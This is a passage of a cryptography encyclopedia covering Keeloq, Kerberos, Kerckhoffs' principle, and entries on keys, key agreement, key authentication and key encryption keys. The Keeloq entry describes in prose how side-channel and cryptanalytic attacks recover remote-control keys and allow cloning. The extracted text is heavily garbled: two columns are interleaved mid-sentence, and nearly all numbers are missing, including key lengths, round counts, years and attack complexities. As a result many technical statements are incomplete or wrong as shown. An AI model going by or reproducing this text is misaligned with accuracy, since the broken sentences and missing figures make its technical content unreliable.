structure. The top level consists of an -round Feistel the best attack on reduced-round variants of MISTY is
cipher built around a -bit nonlinear Boolean func- the -round integral attack by Knudsen and Wagner [].
tion FO (Fig. ). The function FO itself is a -round The attack requires chosen plaintexts and has a time
Feistel-like ladder network containing a -bit nonlin- complexity of . Many other attacks have been pro-
ear function FI. The function FI, on its turn, consists of posed for variants without the FL-layers. The best attack on
a similar -round (MISTY) or -round (KASUMI) lad- KASUMI was suggested by Khn [] and breaks six rounds
der network, using -bit and -bit S-boxes called using impossible differentials.
S and S . Note that these S-boxes differ slightly in both
ciphers.
The key material is mixed with the data at different Recommended Reading
stages in the cipher, both in the FO and the FI func- . Knudsen LR, Wagner D () Integral cryptanalysis (extended
tions. An additional component present in MISTY and abstract). In: Daemen J, Rijmen V (eds) Fast software encryption,
FSE . Lecture notes in computer science, vol . Springer-
KASUMI is the FL-function (Camellia). These functions Verlag, Berlin, pp
are key-dependent linear transformations, used in differ- . Khn U () Cryptanalysis of reduced-round MISTY. In: Pfitz-
ent ways in both ciphers: In MISTY, FL-layers separate mann B (ed) Advances in cryptologyEUROCRYPT . Lec-
every two rounds of the cipher; in KASUMI, they are ture notes in computer science, vol . Springer-Verlag, Berlin,
pp
inserted before and after the FO-functions for odd and
. Matsui M () Block encryption algorithm MISTY. In: Biham E
even rounds respectively. Another noteworthy difference (ed) Fast software encryption, FSE. Lecture notes in computer
between both ciphers is the expansion of the key. The key science, vol . Springer-Verlag, Berlin, pp
schedule (block cipher) consists of a cyclical network of . Third generation partnership project () KASUMI specifi-
nonlinear FI-functions in the case of MISTY, but is com- cation. Technical report, Security algorithms group of experts
(SAGE), version .
pletely linear in KASUMI. More details and motivations . Third generation partnership project () GPP KASUMI eval-
for the differences between MISTY and KASUMI can be uation report. Technical report, Security Algorithms Group of
found in []. Experts (SAGE), version .
Keeloq K
The key schedule is a simple rotation of the key, hence

Keeloq each bit of the key is reused at least eight times, i.e., every
rounds.
Thomas Eisenbarth , Timo Kasper , Christof Paar ,
Sebastiaan Indesteege The Non-Linear Function The j-th bit of the hexadecimal
Department of Mathematical Sciences, Florida Atlantic constant xACE is equivalent to one output bit of
University the non-linear function NLF(x , x , x , x , x ). The index
Horst Grst Institute for IT Security, Ruhr University j {, , . . . , } is obtained from the decimal representa-
Bochum tion of the input bits x to x , i.e., j = x + x +
Lehrstuhl Embedded Security, Gebaeude IC /, x + x + x .

Ruhr-Universitaet Bochum, Bochum, Germany
Department of Electrical Engineering-ESAT/COSIC, Encryption The encryption function is shown in Fig. a.

Katholieke Universiteit Leuven and After loading a plaintext P into the -bit state regis-
IBBT, Leuven-Heverlee, Belgium ter, five bits of the state Y are instantly fed into the
NLF. In each round i of the cipher, the output bit of
Related Concepts the NLF(y , y , y , y , y ) is combined with the state bits
Block Ciphers; Challenge Response Protocol; y , y , and a bit of the secret key ki mod by means of an
Cryptanalysis; Eavesdropping Attack; Power Analy- exclusive OR (XOR). The result becomes the most signif-
sis; Side-Channel Attack; Symmetric Cryptography icant bit (MSB) y of the state register, after shifting the
latter to the right. The content of the NLFSR is equal to the
Denition ciphertext C after repeating the above for rounds.
Keeloq is a lightweight block cipher mainly used in
low-end embedded processors and low-cost application-
Decryption For a decryption, depicted in Fig. b, the state
specific integrated circuits (ASICs) for remote keyless
is initialized with a ciphertext C. In each round i, the key
K
entry (RKE) systems. The cipher does not withstand mod-
bit k(i) mod is XORed with two bits y and y of the
ern cryptanalysis and is regarded as insecure.
state and the output bit of NLF(y , y , y , y , y ). Then,
Background the state is shifted to the left and the output of the XOR
Keeloq was designed in the s at the South-African becomes the least significant bit (LSB) y of the state. After
company Nanoteq Ltd. and it was sold to Microchip Tech- clocking the cipher times, Y contains the plaintext P.
nology Inc. in . Keeloq is intended for a number of
security applications, including vehicle alarms and garage Cryptanalysis The first cryptanalysis of the Keeloq cipher
door openers, commonly referred to as remote keyless was published by Bogdanov in []. Two attacks
entry applications. Even though manufacturers of such sys- were proposed, a combined slide and guess-and-determine
tems typically do not disclose which security mechanism is attack that requires about . Keeloq encryptions and
used, there are indications that Keeloq was, and probably another attack that additionally uses a cycle struc-
still is, a popular choice. ture analysis technique and requires encryptions.
Keeloq is a proprietary algorithm Hence, details on its Both attacks require the entire codebook, i.e., all
operation are only available under a non-disclosure agree- plaintext-ciphertext pairs need to be known
ment. However, a confidential document specifying the to the attacker. Courtois et al. [] proposed two further
Keeloq block cipher, as well as the authentication protocols attacks in . The first is a slide-algebraic attack requir-
built on top of it, has leaked on the internet in . ing . Keeloq encryptions and known plaintext-
ciphertext pairs. The second attack is a slide attack for
Theory which almost the entire codebook needs to be known. The
Keeloq is a block cipher that operates on a -bit input attack reveals the secret key with a complexity of approxi-
using a secret key K = {k , . . . , k } with a length of mately Keeloq encryptions. The most practical mathe-
bit. One encryption or decryption takes rounds, during matical attacks were proposed by Indesteege et al. []. The
each of which one bit of the -bit state Y = {y , . . . , y } authors combine slide and meet-in-the-middle attacks.
is updated. The cipher consists of a non-linear feedback Their strongest attack only needs known plaintext-
shift register (NLFSR) where the feedback depends linearly ciphertext pairs and has a complexity of . Keeloq
on two register bits, one key bit, and a non-linear func- encryptions. The attack can recover the secret key in two
tion (NLF) that maps five other register bits to a single bit. days using dual core computers.
K Keeloq
State State
7 3 2 42 0 1 1 0 10 76 3 1 23 7 1 0 0 0
NLF:0x3A5C742E NLF:0x3A5C742E
Key Key
7 7 6 5 4 3 2 1 0 0 7 6 5 4 3 2 7 1 0 0
a Keeloq encryption b Keeloq decryption
Keeloq. Fig. Block diagram of the Keeloq encryption (a) and decryption (b) function
Keeloq implementations are also vulnerable to side- a factory-programmed unique identifier (UID) of the
channel analysis. In it was shown that the key of remote control that is sent unencrypted. The receiver com-
a remote control Kdev and the master key Kman of compares the counter value of the last valid transmission to the
mercial RKE systems based on Keeloq can be extracted one contained in the decrypted rolling code. It accepts the
by means of differential power analysis (DPA) []. Recov- transmission only if the new counter value is moderately
ering Kdev from an ASIC hardware implementation took increased, and hence prevents replay attacks by rejecting
only about ten side-channel measurements and seconds of repeated codes.
computations. The extraction of the master key Kman from
a software implementation of the cipher by DPA requires Key Derivation Several key derivation schemes are pro-
thousands of power measurements. However, a simple posed to ensure that a receiver can generate the secret
power analysis (SPA) targeting a known implementation device key Kdev of a remote. All schemes involve a secret
of Keeloq on an -bit microcontroller allows to recover manufacturer key Kman that is securely stored in the
Kman from only one measurement []. Furthermore, the receiver. During a learning phase, the individual Kdev is
SPA requires neither the plaintext, nor the ciphertext of derived from the UID of the remote and optionally a
the attacked decryption, as all necessary parameters can be bit seed value that is random and unique for each
derived from one single power measurement. remote. The seed value is not mandatory and is seems
to be used rarely in practice. The derivation function
Applications either involves an XOR-addition with Kman or two Keeloq
Keeloq is mainly used in authentication applications decryptions using Kman . Without using a seed, the security
such as RKE systems, access tokens, and car immobi- of the scheme relies solely on the confidentiality of Kman .
lizers. Keeloq ASICs are available for two different pro-
tocols. One requires bi-directional communication, the Practical Attacks All cryptanalytic attacks can recover the
other relies on uni-directional communication. The bi- device key Kdev of applications based on the challenge-
directional scheme is employed to authenticate a token, response protocol if an adversary can obtain the required
e.g., an RFID transponder, to the main system using a plaintext-ciphertext pairs. Mathematical cryptanalysis of
simple challenge-response protocol. RKE systems based on the rolling code scheme is not fea-
sible in practice, as the attacker does not have access to
Rolling Code Scheme The uni-directional rolling code the plaintext, i.e., the counter value that is stored inside
scheme appears to be dominant in commercial RKE appli- a remote. Still, DPA of RKE implementations reveals the
cations of Keeloq, e.g., in car anti-theft systems and garage secret key Kdev of individual remotes in seconds, and is
door openers. It is designed to authenticate a remote con- hence a real practical threat, if physical access to the remote
trol to a receiver. Both sides share a common secret key is given. The knowledge of Kdev allows to duplicate a
Kdev . A -bit or -bit counter value is incremented and remote control or transponder.
encrypted with Kdev every time a rolling code massage is Revealing Kman of a particular manufacturer can have
transmitted. One rolling code message further contains a much stronger impact on the security of its systems. If the
Kerberos K
key derivation of the analyzed system is based on an XOR, . Eisenbarth T, Kasper T, Moradi A, Paar C, Salmasizadeh M,
Kman can be easily recovered from two known Kdev . Hence, Manzuri Shalmani MT () On the power of power analysis
in the real world: A complete break of the KeeLoq code hopping
for the XOR-scheme, mathematical cryptanalysis is suffi-
scheme. In: Wagner D (ed) CRYPTO. Lecture notes in computer
cient to obtain Kman . For the more complex key derivation science, vol . Springer, Heidelberg, pp
schemes Kman can only revealed by side-channel analysis . Gneysu T, Kasper T, Novotn, Paar C, Rupp A () Crypt-
of the receiver, since the key derivation function cannot be analysis with COPACOBANA. IEEE Trans Comput ():
inverted.
. Indesteege S, Keller N, Dunkelman O, Biham E, Preneel B ()
As shown in [], the knowledge of Kman enables a sim-
A practical attack on KeeLoq. In: Smart NP (ed) EUROCRYPT
ple eavesdropping attack that allows to bypass the security . Lecture notes in computer science, vol . Springer,
mechanism. The attacker needs to eavesdrop a single mes- Heidelberg, pp
sage of a valid remote. Using the recovered UID and the . Kasper M, Kasper T, Moradi A, Paar C () Breaking KeeLoq
known Kman , the attacker derives the device key Kdev and in a flash: on extracting keys at lightning speed. In: Progress in
cryptology AFRICACRYPT . Lecture notes in computer
can now generate new valid messages and thus covertly
science, vol . Springer, New York, pp
access the secured object. Several other attacks, such as key . Kocher PC, Jaffe J, Jun B () Differential power analysis.
cloning from a distance and a denial-of-service attack are In: CRYPTO . Lecture notes in computer science, vol .
also possible []. Springer, Heidelberg
Though rarely found in commercial applications, the . Microchip. An introduction to KeeLoq code hopping. http://
ww.microchip.com/downloads/en/AppNotes/a.pdf
key derivation from random seeds detailed above can
. Novotn M, Kasper T () Cryptanalysis of KeeLoq with
improve the security of rolling code systems to a reason- COPACOBNA. In: Workshop on special purpose hardware for
able level. In that case an attacker possessing Kman needs attaching cryptographic systems (SHARCS), Lausanne
to guess the seed involved in the key derivation. Hence, an
eavesdropping attack becomes a lot harder: As a prerequi-
site, an attacker has to monitor at least two rolling codes,
where the difference between the corresponding counter Kerberos K
values must be smaller than an implementation-dependent
boundary. Then, the key derivation has to be performed Radmilo Racic
for all possible values of the seed, to obtain candidates Department of Computer Science, University of
for Kdev . Implementing the key derivation of Keeloq on California, Davis, CA, USA
special-purpose hardware [], the exhaustive key-search
takes .s for a bit seed, . h for a bit seed and Synonyms
, days in case of a bit seed []. Hence, a seed with Project athena
maximum length can be regarded as sufficiently secure
for medium-security purpose e.g., accessing garage doors. Related Concepts
Presentation slides and a video about the side-channel Single Sign-On; Symmetric Cryptography
attack [] on Keeloq, including a practical demonstration
of an eavesdropping attack, are available at []. Denition
Kerberos is a single sign-on system for distributed environ-
ments that allows a centralized entity running on behalf of
Recommended Reading a principal to prove its identity to a verifier (another princi-
. Physical cryptanalysis of KeeLoq. www.crypto.rub.de/keeloq pal) in an environment where principals do not trust each
. Bogdanov A () Attacks on the KeeLoq block cipher and other. It uses symmetric key cryptography and provides
authentication system. In: Third conference on RFID security scalability (works in large, heterogeneous environments),
(RFIDSec ), Malaga. http://rfidsec.etsit.uma.es/slides/ transparency (works in the background), reliability (if
papers/paper-.pdf
redundancy is provided), and security (provides authen-
. Brier E, Clavier C, Olivier F () Correlation power analysis
with a leakage model. In: CHES . Lecture notes in computer tication and confidentiality) in an end-to-end fashion. In
science, vol . Springer, New York fact, it is a de facto standard for heterogeneous networks.
. Courtois NT, Bard GV, Bogdanov A () Periodic ciphers with
small blocks and cryptanalysis of KeeLoq. In: Tatra Mountains
Background
mathematical publication
. Courtois NT, Bard GV, Wagner D () Algebraic and slide
Kerberos was designed in the mid-s as part of MITs
attacks on KeeLoq. In: FSE . Lecture notes in computer Project Athena. It is based on the NeedhamSchroeder
science, vol . Springer, Heidelberg, pp trust model.
K Kerberos Authentication Protocol
Theory Corollary to the previous point is that KDC must be

Main Components Kerberos distribution center (KDC) is scalable in order to handle all requests within its realm.
the most important entity in a Kerberos environment. Kerberos requires a trusted path through which the
KDC holds all principals (users, applications, or services) passwords are entered.
secret keys and is therefore trusted by all principals. This Kerberos is vulnerable to password guessing attacks
trust represents the basis of Kerberos security as princi- although this is usually mitigated by the operating
pals do not explicitly trust each other. KDCs main goal system.
is to arbitrate the authentication between principals in Kerberos protects only the messages between the prin-
its realm. KDC is actually composed of two entities: an cipals registered with the KDC it does not protect all
authentication server (AS) to which principals log on, and messages between two computers.
a ticket granting server (TGS) which provides them with Secret keys are temporarily stored on the users work-
tickets that principals utilize to authenticate each other. stations.
For instance, if a principal A wanted to communicate with Session keys are decrypted and stored on users work-
a principal B, A must prove to B that A is who A claims stations.
to be and that it is authorized to access B. To do so, A
requests a ticket from the TGS, which A passes along to
Applications
B. If B approves the ticket, then A can access B.
Kerberos v uses a data encryption standard (DES) algo-
Authentication Protocol Let us assume that a user A
rithm running in cipher block chaining (CBC) mode for
wants to access a service B. KDC shares a secret key with
encryption and it supports CRC , MD, MD, and
the user A as well as a different secret key with the ser-
DES for checksums. In Kerberos v, the encryption mod-
vice B. The user and the service initially do not trust
ule is isolated and implementations are free to utilize other
each other and thus do not share any keys. However, once
encryption protocols. For instance, Microsoft Windows
A authenticates itself to B, it relies on the AS to gener-
Server uses an advanced encryption standard (AES)
ate a new session key and distribute it to both parties. At
protocol for encryption and it adds a digitally signed priv-
this point A and B can communicate securely. The ses-
ileged attribute certificate (PAC) (an approach shared with
sion key, shared between the two principals, is generated
SESAME) to the Kerberos ticket.
when needed and destroyed after the session is completed.
The simplified details of the protocol are below.
Recommended Reading
A AS: C, TGS . Bryant B () Designing an authentication system: a dialog in
four scenes. http://web.mit.edu/Kerberos/dialogue.html
AS A: {KA,TGS , {TA,TGS }KTGS }KA
. Neuman CB, Tso T () Kerberos: an authentication ser-
A TGS: B, {TA,TGS }KTGS , {AA }KA,TGS vice for computer networks. http://gost.isi.edu/publications/
TGS A: {KA,B , {TA,B }KB }KA,TGS kerberos-neuman- tso.html
A B: {TA,B }KB , {AA , timestamp}KA,B . Bellovin SM, Merritt M () Limitations of the kerberos authen-
B A: {timestamp + }KA,B tication system. In: Proceedings of the winter USENIX
conference, Dallas, pp
When A wishes to access B, it must first obtain the ini-
tial ticket granting ticket (TGT) {TA,TGS }KTGS } from
the AS. With the TGT in hand, A can now start the
exchange with the TGS server to obtain the service ticket Kerberos Authentication Protocol
{TA,B }KB as well as a session key KA,B . At this point, A
can commence the exchange with B by sending the ser- Carlisle Adams
vice ticket that only B can decrypt as well as a timestamp School of Information Technology and Engineering
encrypted with the newly created session key. B responds (SITE), University of Ottawa, Ottawa, Ontario, Canada
to A with the same timestamp incremented by one, thus
proving that it was able to decrypt the service ticket using a
key shared between itself and KDC and extract the correct Related Concepts
session key. Authentication; Data Encryption Standard (DES);
Key; Key Management; NeedhamSchroeder Proto-
cols; Symmetric Cryptography; Trusted Third Party
Weaknesses and Limitations
The KDC could be a single point of failure unless a Denition
redundancy is provided. Kerberos is a symmetric key-based authentication protocol.
Kerckhos Principle K
Background Background
Kerberos was created at the Massachusetts Institute of Dr. August Kerckhoffs, a Dutch linguist trained at the Uni-
Technology (MIT) and is based upon the Needham versity of Lige, became a professor at cole des Hautes
Schroeder protocol. A high-level description of the Ker- tudes Commerciales in Paris, where he taught German.
beros protocol is provided in the key management entry. He was also a keen supporter of volapk, a constructed
Kerberos information (including papers and documenta- language. His strong interest in cryptography led him to
tion) may be found at the following site: http://web.mit. publish two articles entitled La Cryptographie Militaire
edu/kerberos/www/. (Military Cryptography) in which he surveyed the state
of the art in cryptography and proposed six fundamen-
Applications tal principles for any cryptosystem alongside rules of the
The Kerberos Authentication Protocol is a network thumb and general practical advice. At the time, the main
authentication protocol that uses symmetric cryptog- goal of cryptographers was to set up a secure telegraphic
raphy (i.e., cryptography based upon a common secret system.
key such as the data encryption standard, DES) to pro- The six principles enunciated by Kerckhoffs are as
vide strong authentication for client/server applications follows:
[]. A client and a server prove their identity to each
. The system must be substantially, if not mathemati-
other through the mediation of a trusted third party called
cally, undecipherable.
a key distribution center (KDC). The Kerberos protocol also
. The system must not require secrecy and can be stolen
establishes a session key that may be used to provide con-
by the enemy without causing trouble (what is nowa-
fidentiality and integrity for subsequent communications
days referred to as Kerckhoffs Principle).
between the authenticated participants [, ].
. It must be easy to communicate and remember the
Recommended Reading keys without requiring written notes, and it must also
. Kohl J, Neuman BC () The Kerberos network authentication
be easy to change or modify the keys with different K
service (V). Internet Request for Comments participants.
. Kohl J, Neuman BC, Tso TY () The evolution of the ker- . The system ought to be compatible with telegraph com-
beros authentication system. Distributed open systems. IEEE munication.
Computer Society, Los Alamitos, CA,
. The system must be portable, and its use must not
. Neuman BC, Tso T () Kerberos: an authentication service for
computer networks. IEEE Commun ():
require more than one person.
. Finally, regarding the circumstances in which such
system is applied, it must be easy to use and must nei-
ther require stress of mind nor the knowledge of a long
Kerckhos Law series of rules.
Kerckhoffs Principle The second and third principles can be interpreted more
generally: in any security system, a secret is a potential
source of breakage and should therefore be kept to a min-
imum and should be easily replaceable.
Kerckhos Principle
Later Shannon established a theoretical basis for the
understanding of cryptosystems and proposed this other
Fabien A. P. Petitcolas
formulation: the enemy knows the system, known as
Microsoft Research, Cambridge, UK
Shannons maxim.
Kerckhoffs Principle and Shannons maxim are in
Synonyms sharp contrast with security through obscurity and
Kerckhoffs law; Shannons maxim remain one of the main design principles of modern cryp-
Related Concepts tosystems.
Cryptosystem Security; Security Through Obscurity
Denition Recommended Reading

. Kerckhoffs A () La cryptographie militaire. J sci militaires
Kerckhoffs Principle states that the security of a cryptosys-
IX:, . [http://www.petitcolas.net/fabien/kerckhoffs/]
tem must lie in the choice of its keys only; everything . Kahn D (). The codebreakers: the comprehensive history of
else (including the algorithm itself) should be considered secret communication from ancient times to the Internet, pp.
public knowledge. XXXX. Scribner, New York. ISBN
K Key
equivalent to Vigenre encryption of d-grams with period

Key d, i.e., by successively adding and subtracting ; thus it
offers little security.
Friedrich L. Bauer
Kottgeisering, Germany Background
Chaitin defines a random sequence as an infinite sequence
Related Concepts such that no finite subsequence has a shorter algo-
Cryptology (Classical); Encryption; Shannons Model rithmic characterization than the listing of the sub
sequenceno subsequence can be condensed into a
Denition shorter algorithmic description. A keytext, i.e., a sequence
A key is an element from an alphabet (the key alphabet) that of key elements, with this property is called holocryp-
selects and defines a particular encryption step. A keytext tic. No sequence generated by a deterministic, finite-state
is a sequence of key elements from a key alphabet that select machine, i.e., by a deterministic algorithm, even if it does
and define a sequence of particular encryption steps. not terminate, has this property.
A polyalphabetic encryption, which is also called An individual key is a keytext (German i-Wurm) that
a polyalphabetic substitution cipher, is a substitution is not copied from any source whatsoever. A one-time key is
(substitutions and permutations) with more than one
alphabet, each one designated by a key element.
A double key is a polyalphabetic encryption with
shifted mixed alphabets (Alberti encryption). It is cryp-
tologically equivalent to a polyalphabetic encryption with
a Vigenre table (tabula recta) whose plaintext stan-
dard alphabet is replaced by a mixed alphabetthe mixed
alphabet being the second key. Moreover, a treble key is
a double key with the additional proviso that the standard
alphabet for the keys of a Vigenre table is replaced by a
mixed alphabetthis mixed alphabet being the third key.
A periodic key or repeated key is a key sequence which
repeats itself after d steps (d > ), while a nonperiodic key
is a key sequence that cannot be viewed as the repetition
of a shorter sequence. A running key is an infinitely long
nonperiodic key.
With autokey (French: autochiffrant, German: Selbst-
chiffrierung), one means the method toderive a nonpe-
riodic key from the plaintext itself, using a priming key
character or key phrase to begin with. A simple exam-
ple (Blaise de Vigenre, ) with priming key character
= D, is the following encryption that makes use of the
Porta encryption table:
plain a u n o m d e l e t e r n e l
key D A U N O M D E L E T E R N E
cipher X I A H G U P T M L S H I X T
A disadvantage is the spreading of encryption errorsa

general weakness of all autokeying methods.
Arvid Damm () proposed an autokeying variant
of encryption (influence letter) that was used in the
German WW II teletype cipher machines SZ and T .
Claude Shannon gave () the warning that autokeying
Vigenre encryption with a priming key of length d is Key. Fig. One-time pad of Russian origin
Key Agreement K
a keytext that is used just one time. Any written version of it encryption and one for decryptionaltogether four keys.
(one-time pad, OTP) should be destroyed after use (Fig. ). If in an endomorphic cryptosystem, selfreciprocal permu-
A random key is a random sequence used as a key tations (substitutions and permutations) are used as key
sequence. To be cryptographically useful, it should by elements, keys for encryption and for decryption coincide.
necessity be an individual key and a one-time key. Ran- A private key cryptosystem is a cryptosystem where
domness should be achieved during the generation of the sender and recipient share encryption and decryption keys
key sequence. Tests for randomness can only disprove it, (to be kept secret). In a secret key cryptosystem, sender and
but cannot prove it. Chaitins definition has only theoreti- recipient share one common key (to be kept secret).
cal valueit is mainly used as an instrument to show that Key symmetric cryptosystem: If two operations defined
a particular key sequence is nonrandom. by keys A, B commute and are mutually reciprocals:
In an endomorphic cryptosystem, the encryption A B = B A = identity, A may be used by partner A for
steps (governed by the key characters) may form a group encryption and by partner B for decryption, while B may
under composition: the key group. Such a cryptosystem is be used by partner A for decryption and by partner B for
a pure cryptosystem. Examples are the Vigenre encryp- encryptionaltogether only two keys. If in an endomor-
tion and the Beaufort encryption, where the key group is phic cryptosystem, selfreciprocal permutations are used as
a cyclic group, and the Vernam encryption by addition key elements, only one key is needed.
mod , where the key group is (C )n , the n-fold direct In many cryptosystems, actually in all classical ones,
group of the cyclic group of order . knowledge of the encryption key allows for an easy deter-
A trivial example is encryption by a monoalphabetic mination of the decryption key. This, however, is not nec-
selfreciprocal permutation , where the key group is C, the essarily so: As James H. Ellis pointed out in , there
cyclic group of order consisting of and the identity. may exist encryption methods where the knowledge of an
Encryption with a key group, although it offers technical encryption key does not suffice to derive the decryption
convenience, should be avoided since it opens particular key efficientlyin Clifford Cocks found in the multi-
ways of cryptanalytic attack. plication of sufficiently large prime numbers the wanted,
K
Here are some examples of various roles that keys can practically non-invertible operation. This led to the idea of
play and how they are communicated in cryptosystems. public key cryptography, which is also called asymmet-
(This is called key negotiation.) In a classical setting, if a ric cryptography. It was published in this form for the first
communication from participant A to participant B should time in by Whitfield Diffie and Martin E. Hellman. In
be protected by encryption, A has to tell B what key to this system, a key A is publicly announced by participant
use for decryption, or B has to tell A what key to use for A with the proviso that he possesses a key B such that he
encryption. In command structures, there is also the possi- can decrypt with B any message sent to him by anybody as
bility that the command tells both participants which keys long as it is encrypted with A. This allows a star-like com-
to use. To this end, they make use of key directives: direc- munication system. The advantage that no key negotiation
tories containing all relevant keys. Of course, transmission is necessary and the key directory is open to the public is
of all the information concerning the key should be done burdened by the fact that secrecy is only guaranteed to the
after encryption with a different cryptosystem. Violating extent that reconstruction of the (secret) decryption key
this maxime for their Enigma traffic was a serious crypto- (private key) from the public key needs exponential time
graphic blunder of the German Wehrmacht staff. (We note and therefore is intractable.
that modern cryptographic protocols (e.g., the Diffie
Hellman key agreement scheme) may generate the same Recommended Reading
key for A and B without encrypted communication). . Bauer FL () Decrypted secrets. In: Methods and maxims of
A session key or message-encrypting key is a keytext cryptology. Springer, Berlin
used during one communication session. In the Enigma
traffic, a session key was called Spruchschlssel (text set-
ting). A base key is a key used for encrypting keys (key-
encrypting key). In the Enigma traffic, they were called
Key Agreement
Grundstellung (basic wheel setting) and formed part of
the Tagesschlssel (daily key). Mike Just
A symmetric or conventional or classical cryptosys- Glasgow Caledonian University, Glasgow, Scotland, UK
tem is a communication line with two partners who are
at different times both sender and receiver and use the Synonyms
same cryptosystem, each one having a private key for Exponential key exchange
K Key Authentication
Related Concepts are several protocols extending to more than two users
DiffieHellman Key Agreement; Elliptic Curve Key (Group Key Agreement).
Agreement; Group Key Agreement; Key; Key Authen-
tication Applications
Key agreement protocols have wide application as one
Denition form of key establishment that can be used for an applica-
Key agreement is one form of Key Establishment in tion in which two or more users wish to establish a shared
Key.
which two or more users jointly contribute information
that is used to establish a shared, symmetric key.
Recommended Reading
. Diffie W, Hellman ME () New directions in cryptography.
Background IEEE Trans Info Theory IT-():
The ability for two users to establish a shared, symmet- . Menezes A, van Oorschot PC, Vanstone SA () Handbook of
ric key over an insecure communication channel, despite applied cryptography. CRC Press, Boca Raton, FL
having not met previously (more importantly, the users

dont already have shared key material) was first proposed
by Diffie and Hellman in . Till that time, two users
would either need to have shared key material between Key Authentication
them already, or rely upon a Key Distribution Center.
Robert Zuccherato
Theory Carle Crescent, Ontario, Canada
Key agreement is one form of Key Establishment. Unlike
Key Transport in which one user securely sends (trans- Synonyms
ports) a key to another user, users participating in a key Implicit key authentication
agreement protocol jointly and equally contribute to the
resultant key value. Key agreement protocols may be per- Related Concepts
formed over an insecure channel as they inherently provide Authentication; Key; Station-to-Station Protocol/STS
confidentiality protection so that an eavesdropper can- Protocol; IPsec; Entity Authentication
not compute the resultant key based only upon exchanged
messages. However, Public Key Cryptography is typi- Denition
cally used to ensure the integrity of the messages and Key authentication is the property obtained when per-
participating users. forming a key establishment protocol (Key Agreement
The original Diffie-Hellman Key Agreement protocol and Key Management) and one entity has the assurance
used operations in a multiplicative Group. More specif- that only a particularly identified other party may possibly
ically, users Alice (A) and Bob (B) used integer exponen- know the negotiated key. This property may be unilat-
tiation (Exponentiation Algorithms) modulo a Prime eral if only one party participating in the protocol has the
Number to compute their exchanged messages, as well as assurance, or it may be mutual if both parties have the
the resultant key value. Variations to this model include assurance. Key authentication is sometimes referred to as
Elliptic Curve Key Agreement Schemes. implicit key authentication to distinguish it from explicit
While secure against a passive eavesdropper, the orig- key authentication.
inal Diffie-Hellman Key Agreement Protocol is vulnera-
ble to a Man-in-the-Middle Attack in which an attacker Theory
initiates simultaneous key agreement protocols with both (Implicit) Key authentication can be obtained within a key
A and B, impersonating A to B, and B to A. For this reason, establishment protocol in a number of ways. One possi-
key agreement protocols that provide Key Authentica- ble method of obtaining this property is to encrypt the
tion have been developed in order to ensure the integrity key to be established, k, for the other party using his/her
of the exchanged messages and participating users. The (symmetric or asymmetric) key. In this case, since the
Station-to-Station Protocol is an example of such an only other party that could possibly decrypt the encrypted
authenticated key agreement protocol. key is the intended recipient, the appropriate assurance
Although the original key agreement protocol sup- is obtained. Many of the variants of the DiffieHellman
ported key agreement between only two users, there protocol (DiffieHellman Key Exchange Protocol) also
Key Encryption Key K
provide key authentication. For example, consider the case at that time. Quite often, protocols that provide explicit key
where both parties A and B have static authenticated (i.e., authentication will also provide entity authentication since
certified) DiffieHellman public keys a and b , respec- the identified party must prove knowledge of the negoti-
tively. If the agreed-upon key is simply k = ab , then both ated key. However, it is not always the case that any key
parties have the assurance that only the other party could negotiation protocol that includes entity authentication
possibly compute this key. Note, however, that the simple will also provide explicit (or implicit) key authentication.
DiffieHellman protocol, which does not use authenti- Care must be taken to ensure that the entity whose iden-
cated public keys, does not provide key authentication. tity has been authenticated is the same entity as the one
A property of key establishment protocols that is sim- establishing the key. Otherwise, subtle attacks may allow
ilar to key authentication is the property known as key one entity to have its identity authenticated and another
confirmation. Key confirmation is the property obtained entity to establish the key.
when one party has the assurance that some other party
actually has possession of the negotiated key (see, e.g., []). Recommended Reading
Notice that this property is distinct from key authentica- . ISO/IEC - () Information technology security tech-
niques key management Part : Framework
tion in that the assurance is obtained relative to some
other party instead of a particularly identified other
party. Thus, with key confirmation, the other party need
not be identified or even be known at all. Also note that
Key Encryption Key
key confirmation provides assurance that the key is actu-
ally known by the other party, whereas key authentica- Torben Pedersen
tion only provides assurance that the other party could Cryptomathic, rhus, Denmark
possibly know the key. As with key authentication, key
confirmation may be mutual or unilateral. Related Concepts
Typically, key confirmation is obtained in one of three Cryptographic Key; Key Agreement; Key Exchange;
K
ways. First, a (one-way) hash of the negotiated key could be Key Management; Public Key Cryptography;
sent from one party to the other. Second, the key (or a key Symmetric Cryptography
derived from the negotiated key) could be used in an MAC
(MessageAuthenticationCode)toauthenticateamessage. Denition
Finally, the key (or a key derived from the negotiated key) A key encryption key (KEK) is a cryptographic key that is
could be used to encrypt an agreed-upon message, which is used for encrypting other cryptographic keys.
then decrypted and verified. Any of these mechanisms will
provetothelegitimaterecipientthatsomeonehaspossession Background
of the key and used it to create the received values. The security of any use of cryptography depends on keep-
In many environments, both (implicit) key authenti- ing the cryptographic keys secure. This follows Kerchoffs
cation and key confirmation are required properties. In principle (see []) that when analyzing the strength of a
such circumstances, when both properties are obtained, it cryptosystem, one should assume that the cryptographic
is said that explicit key authentication has been achieved. algorithms are known to the attacker. This means that
Explicit key authentication is the property obtained when it is of utmost importance that cryptographic keys are
one party has assurance that only a particularly identified managed securely when they are used and stored as well
other party actually has knowledge or possession of the as when they are transmitted between parties sharing
negotiated key. Again, this property may be either mutual the keys. Such protection can be achieved by encrypting
or unilateral. the keys under other cryptographic keys called key encryp-
A popular, typical example of a key establishment pro- tion keys. As a key encryption key can encrypt many other
tocol that provides mutual explicit key authentication is keys, proper handling of one key encryption key can be
the station-to-station protocol/STS protocol. In fact, most used to secure many other keys.
of the protocols in use today that provide explicit key
authentication are based upon the STS protocol. Examples Theory
include the TLS protocol (Transport Layer Security) and When a system or an application applies cryptography, it
the protocols used in IPSEC. does so using a secure cryptographic module. Depending
Entity authentication is the assurance that the identi- on its type, such a module can offer hardware or software
fied party is actually alive and participating in the protocol protection of keys. FIPS and ISO/IEC describe
K Key Encryption Key
security requirements for different types of modules cor- is carried out as rarely as possible. In particular this means
responding to different security levels. that the KEK, which is exchanged out of band, is used as
If keys would not have to leave their secure module, little as possible. It is therefore good practice not to pro-
they would be relatively easy to manage as the module tect application keys under such a KEK but rather under
protects all keys inside. However, it is often necessary another KEK, which is then protected by the out-of-band
to move keys out of the module and then they must be KEK. In general, one can establish a tree of keys with the
encrypted as the overall security of the system depends on nodes in the tree being key encryption keys and the leaves
the confidentiality of the keys. being application keys. A key encryption key encrypts all
There are many reasons for having a key outside a cryp- its sons in the tree. Thus all keys except the root key are
tographic module. One such reason is that the key is used encrypted, and the root key is protected out of band. This
to protect communication between two parties each hav- provides a good basis for managing the life cycle of the key
ing its own module. A key generated in one module would encryption keys and application keys as all keys, except the
